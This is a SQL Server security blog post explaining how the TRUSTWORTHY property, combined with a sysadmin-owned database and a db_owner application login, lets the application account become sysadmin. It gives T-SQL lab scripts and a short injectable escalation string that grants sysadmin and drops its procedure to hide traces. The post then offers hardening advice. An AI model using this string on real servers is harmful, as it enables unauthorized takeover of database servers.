The TRUSTWORTHY Database Property Explained – Part 2
Introduction
A few weeks ago (okay, a few more than a few weeks ago) I wrote about the TRUSTWORTHY database property and how it changes effective permissions. At that point I promised to show how the trustworthy property can be misused for malicious intent. With this post I am going to deliver on that promise. I am going to show how two often encountered configuration choices together with the TRUSTWORTHY database property open up a big security hole.
Database Ownership
Most databases out there were created by a member of the sysadmin server role. By default any database is owned by the principal that created it, so it is probably safe to say that most databases out there are owned by a sysadmin. Even more so as many sources recommend changing the database owner to SA on all databases.
Application User
It has been written and talked about in many places and most of us know that granting more than the absolute necessary permissions to a user is a bad idea. This is particularly true for users that are used by an application to access the database.
But still, there are many products out there that recommend or even enforce that the connection to the database is made by a login that is mapped to the db_owner role in that application's database.
Trustworthiness
Most things in SQL Server that "require" a database set to TRUSTWORTHY can actually be implemented using certificates instead. An example is cross database Service Broker communication. You can either just mark the databases involved as TRUSTWORTHY and be done with it, or you have to create a more secure but considerably more complex setup involving certificates. Many people shy away from the certificate route and use the quick and easy TRUSTWORTHY fix.
Hidden Evil
Now let us have a look at what happens when those three things I just mentioned, a sysadmin owned database, an application login that is a db_owner and a database set to be TRUSTWORTHY, apply to the same database. As we learned in the first part of this article, a stored procedure that is set to execute as owner and that is owned by a database owner will during execution acquire the permission set of the actual database owner if the database is set to TRUSTWORTHY. But in this case that database owner is member of the sysadmin server role. So effectively, the application user now has sysadmin rights.
Example
Let's look at an example. First we are going to create a new database with a few supporting objects that we will use later on.
GO
IF OBJECT_ID('tempdb..#ForceDropDatabase') IS NOT NULL DROP PROCEDURE #ForceDropDatabase;
GO
CREATE PROCEDURE #ForceDropDatabase
@db_name NVARCHAR(MAX)
AS
BEGIN
IF(DB_ID(@db_name)IS NOT NULL)
BEGIN
EXEC('
USE master;
ALTER DATABASE '+@db_name+' SET RESTRICTED_USER WITH ROLLBACK IMMEDIATE;
USE '+@db_name+';
ALTER DATABASE '+@db_name+' SET SINGLE_USER WITH ROLLBACK IMMEDIATE;
USE master;
DROP DATABASE '+@db_name+';
');
END;
END
GO
EXEC #ForceDropDatabase 'SaOwnedDb';
GO
EXECUTE AS LOGIN = 'SA';
GO
CREATE DATABASE SaOwnedDb;
GO
USE SaOwnedDb;
GO
CREATE SCHEMA hlp;
GO
CREATE PROCEDURE hlp.TryExec
@cmd NVARCHAR(MAX)
AS
BEGIN
BEGIN TRY
EXEC(@cmd);
END TRY
BEGIN CATCH
SELECT 'TryExec' info,'|'[|],@cmd cmd,ERROR_MESSAGE() error_message;
END CATCH;
END;
GO
CREATE PROCEDURE hlp.DatabaseProperties
AS
BEGIN
SELECT 'DatabaseProperties' info,'|'[|],d.name database_name,p.name database_owner,d.is_trustworthy_on
FROM sys.databases d
JOIN sys.server_principals p
ON d.owner_sid = p.sid
WHERE d.database_id = DB_ID();
END;
GO
CREATE PROCEDURE hlp.ObjectProperties
@object_name NVARCHAR(MAX)
WITH EXECUTE AS SELF
AS
BEGIN
SELECT 'ObjectProperties' info,'|'[|],
s.name schema_name,
p.name object_name,
USER_NAME(p.principal_id) object_owner,
USER_NAME(s.principal_id) schema_owner,
CASE m.execute_as_principal_id
WHEN -2 THEN 'OWNER'
ELSE USER_NAME(m.execute_as_principal_id)
END execute_as_user
FROM sys.procedures p
JOIN sys.sql_modules m
ON p.object_id = m.object_id
JOIN sys.schemas s
ON p.schema_id = s.schema_id
WHERE p.object_id = OBJECT_ID(@object_name);
END;
GO
CREATE FUNCTION hlp.CurrentTokens()
RETURNS TABLE
AS
RETURN
SELECT 'CurrentTokens' info,'|'[|],OBJECT_NAME(@@PROCID)procedure_name,USER_NAME() [user],SUSER_NAME() [login],'|'[l], *
FROM(
SELECT 'user' token_source,name, type, usage FROM sys.user_token
UNION ALL
SELECT 'login' token_source,name, type, usage FROM sys.login_token
)X;
GO
CREATE FUNCTION hlp.RoleMembership(@principal_name SYSNAME)
RETURNS TABLE
AS
RETURN
SELECT 'RoleMembership' info,'|'[|],sp.name member_name, spr.name role_name
FROM sys.server_principals sp
JOIN sys.server_role_members srm
ON sp.principal_id = srm.member_principal_id
JOIN sys.server_principals spr
ON srm.role_principal_id = spr.principal_id
WHERE sp.NAME = @principal_name;
GO
GRANT EXECUTE,SELECT ON SCHEMA::hlp TO PUBLIC;
GO
ALTER DATABASE SaOwnedDb SET TRUSTWORTHY ON;
GO
EXEC hlp.DatabaseProperties;
GO
USE tempdb;
GO
REVERT;
GO
[/sql]
When you execute this code, it will drop any preexisting database with the name SAOwnedDb. Then it creates a new database with the same name, using EXECUTE AS LOGIN = 'SA'; to make sure the database is owned by SA. Afterwards the script creates the hlp schema with its helper procedures. As last step, the database is set to trustworthy. The output of the hlp.DatabaseProperties procedure allows us to check the database owner as well as the trustworthy state:
The next step now is to create a login and an associated user and then make that user a member of the db_owner role in our database.
GO
CREATE LOGIN ApplicationLogin WITH PASSWORD = '**********';
CREATE USER ApplicationUser FROM LOGIN ApplicationLogin;
GO
ALTER ROLE db_owner ADD MEMBER ApplicationUser;
GO
IF OBJECT_ID('dbo.CheckPerms') IS NOT NULL DROP PROCEDURE dbo.CheckPerms;
GO
CREATE PROCEDURE dbo.CheckPerms
WITH EXECUTE AS OWNER
AS
BEGIN
SELECT * FROM hlp.CurrentTokens();
END;
GO
EXECUTE AS USER='ApplicationUser';
GO
EXEC dbo.CheckPerms;
GO
REVERT;
GO
[/sql]
The above script also creates a procedure dbo.CheckPerms that will list the security tokens in effect when it gets executed. Notice that it has the EXECUTE AS OWNER clause specified. The output of that procedure when executed by our ApplicationUser looks like this:
Particularly interesting is row 4 of the result. Is shows that all sysadmin privileges are in full effect while the procedure is executing. (Refer back to the first part for a little more information on security tokes.)
The Hack
The following code shows a short character string that when executed elevates the ApplicationLogin to a sysadmin.
GO
DECLARE @cmd NVARCHAR(MAX) =
'EXEC(''CREATE PROC dbo.hack WITH EXECUTE AS OWNER AS '+
'ALTER SERVER ROLE sysadmin ADD MEMBER ApplicationLogin;'');'+
'EXEC dbo.hack;DROP PROC dbo.Hack;'
EXEC(@cmd)
GO
REVERT
GO
SELECT * FROM hlp.RoleMembership('ApplicationLogin');
[/sql]
The output of the SELECT statement at the end confirms that the login now is indeed member of the sysadmin server role:
The string first creates a new procedure with the EXECUTE AS OWNER option. Because the ApplicationUser is a member of the db_owner database role it has the necessary permissions to create that object. Inside the procedure is the code that is used to elevate an account. This example is using the ApplicationLogin for this purpose, but it could be any login. The code could even create a new login.
At the end the string contains two statements to first execute the procedure and then drop it to remove all traces.
This string is certainly short enough to be used in a SQL Injection attack. SQL Injection is not that unlikely to happen. Most of the applications I see at my clients have more or less big holes in this regard.
But we don't even need to go there. Most attacks on a company's IT infrastructure originate in-house. This string could for example just be executed by any person that happens to have to password to this account — likely many people as it is used by the application to connect to the server.
Summary
We have seen that the combination of the TRUSTWORTHY database setting with two other often seen configurations opens up the entire server to a malicious user that manages to get a short SQL command injected and executed. Don't let your IT infrastructure fall prey to an attack like this.
Avoid using the TRUSTWORTHY database property. But if you have to use it, make sure that the database is owned by an account that does not have more permissions outside of the database than absolutely necessary. And – most important – do not have your application use a login that is member of the db_owner database role.
Newsletter Sign Up
We know to keep a database secure. We’ll help you to do the same.
From the sqlity.net blog
-
How to identify the SQL Server Service Account in T-SQL
-
How to Change a SQL Login’s Password
-
Hash Algorithms – How does SQL Server store Passwords?
-
How to Re-Create a Login with only a Hashed Password
-
B+Trees – How SQL Server Indexes are Stored on Disk
-
The Hidden SQL Server Gem: UPDATE from SELECT
-
A Join A Day – Nested Joins
-
Determine the Uptime of a SQL Server Instance
-
A Join A Day – The Left Anti Semi Join
-
Log Reuse Waits Explained: LOG_BACKUP
